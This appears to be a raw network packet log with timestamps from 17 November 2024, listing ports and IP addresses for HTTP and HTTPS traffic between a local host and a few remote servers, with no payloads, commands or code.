Nov 17, 2024 01:38:18.899866104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899873018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899900913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:18.899914026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:18.899949074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.057858944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.057940960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.057992935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.057993889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058027983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058042049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058042049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058063984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058077097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058099985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058115959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058137894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058140039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058176041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058209896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058217049 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058218002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058245897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058252096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058284044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.058295012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058335066 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.058950901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.059026003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.173945904 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.174648046 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.174681902 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.175174952 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.175201893 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.209697008 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.210104942 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.210128069 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.210649967 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.210655928 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.215992928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216036081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216073036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216074944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216100931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216113091 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216303110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216336966 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216356039 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216372967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216378927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216420889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216481924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216533899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216583967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216634989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216651917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216702938 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216720104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216753960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216767073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216789007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.216800928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.216836929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.250144958 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.250598907 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.250629902 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.250998974 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.251003981 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.263385057 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.263824940 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.263839006 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.264261007 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.264266014 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.307210922 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.307410002 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.307475090 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.307524920 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.307534933 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.307544947 CET	49736	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.307549953 CET	443	49736	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.310635090 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.310668945 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.310750961 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.310935020 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.310941935 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.342633009 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.342888117 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.342983007 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.343040943 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.343080997 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.343116045 CET	49737	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.343127966 CET	443	49737	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.345686913 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.345721006 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.345803976 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.345972061 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.345987082 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.374336004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374352932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374367952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374383926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374398947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374408960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.374413967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374461889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.374461889 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.374463081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.374809980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374860048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.374963999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.374989033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.375005007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.375016928 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.375020981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.375027895 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.375052929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.375066042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.375092030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.375118017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.375607967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.375659943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.379641056 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.379777908 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.379828930 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.379884005 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.379909039 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.379925013 CET	49739	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.379935026 CET	443	49739	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.382474899 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.382502079 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.382571936 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.382723093 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.382746935 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.392561913 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.392637968 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.392687082 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.392791033 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.392796040 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.392807007 CET	49738	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.392810106 CET	443	49738	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.394764900 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.394829988 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.394895077 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.395021915 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.395042896 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.532068968 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.532620907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.532687902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.532697916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.532721043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.532738924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.532763958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.532774925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.532869101 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.532881021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.532902956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.532912970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.532946110 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533198118 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.533210993 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.533243895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533278942 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533288956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533315897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533318996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533361912 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533529043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533561945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533577919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533596039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533605099 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533638954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533829927 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533852100 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.533857107 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.533879995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533883095 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533912897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.533931971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.533956051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.663974047 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.664089918 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.664133072 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.664252043 CET	49740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.664262056 CET	443	49740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.668432951 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.668458939 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.668524981 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.668771029 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:19.668785095 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:19.691694975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.691759109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.691785097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.691793919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.691822052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.691832066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.691843987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.691868067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.691873074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.691904068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.691909075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.691948891 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.692054033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.692099094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.692126036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.692162037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.692171097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.692198038 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.692205906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.692234039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.692239046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.692275047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.692708015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.692768097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.849653959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849673033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849689007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849704027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849720001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.849788904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.849788904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.849891901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849908113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849924088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849935055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.849940062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.849947929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.849975109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.850411892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850428104 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850445986 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850456953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.850461006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850482941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.850506067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.850884914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850900888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850915909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.850927114 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.850941896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.850958109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:19.968496084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:19.968703985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.008347034 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008378983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008395910 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008421898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008436918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008454084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008539915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.008539915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.008539915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.008755922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008771896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008788109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008802891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008805990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.008821011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.008836985 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.008867979 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.009327888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.009382010 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.009426117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.009474993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.087209940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.087327957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.087412119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.087412119 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.087569952 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.088116884 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.088145018 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.088613033 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.088618994 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.124702930 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.125277042 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.125308037 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.125313997 CET	443	49708	173.222.162.64	192.168.2.6
Nov 17, 2024 01:38:20.125545979 CET	49708	443	192.168.2.6	173.222.162.64
Nov 17, 2024 01:38:20.125698090 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.125705957 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.127125025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.127192974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.139605045 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.140136957 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.140156984 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.140642881 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.140649080 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.166430950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166555882 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166587114 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166635990 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.166640043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166671991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.166676998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166693926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.166712999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166723013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.166749954 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166759968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.166786909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.166796923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.166834116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.167356968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.167391062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.167409897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.167426109 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.167438030 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.167469978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.173909903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.173960924 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.173983097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.174007893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.174014091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.174043894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.174063921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.174088001 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.218122005 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.218283892 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.218359947 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.218610048 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.218610048 CET	49742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.218622923 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.218631029 CET	443	49742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.221668005 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.221709967 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.221802950 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.221925020 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.221940041 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.245938063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.245975018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.246020079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.246037960 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.246229887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.254465103 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.254631042 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.254698038 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.254776955 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.254789114 CET	443	49743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.254803896 CET	49743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.254810095 CET	443	49743	13.107.246.45	192.168.2.6
